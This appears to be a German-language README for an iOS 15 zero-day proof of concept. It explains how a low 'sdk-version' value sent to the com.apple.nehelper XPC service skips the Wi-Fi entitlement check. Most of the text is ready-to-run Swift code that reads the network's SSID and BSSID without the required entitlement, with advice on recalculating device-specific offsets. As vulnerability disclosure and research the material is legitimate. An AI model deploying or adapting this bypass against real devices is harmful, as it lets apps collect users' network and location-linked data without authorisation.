
iOS 15 0-day exploit (still works in 15.0.2)
Ich habe diesen Code aktualisiert, um die direkte Verwendung der privaten API zu vermeiden. Mehr dazu in meinem Blogbeitrag. Das bedeutet jedoch, dass dieser Code nun von der iOS-Version und möglicherweise auch vom Gerätemodell abhängig ist. Wenn er auf deinem Gerät nicht funktioniert, berechne die Offsets in der Datei c.c neu und aktualisiere sie. Der ursprüngliche Code ist im direct-Branch zu finden.
Der XPC-Endpoint com.apple.nehelper akzeptiert den vom Benutzer übergebenen Parameter sdk-version. Wenn dessen Wert kleiner oder gleich 524288 ist, wird die Prüfung des Entitlements com.apple.developer.networking.wifi-info übersprungen.
Dadurch kann jede qualifizierte App (z. B. eine mit Standortzugriffsberechtigung) auf WLAN-Informationen zugreifen, ohne über das erforderliche Entitlement zu verfügen.
Dies geschieht in -[NEHelperWiFiInfoManager checkIfEntitled:] in /usr/libexec/nehelper.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}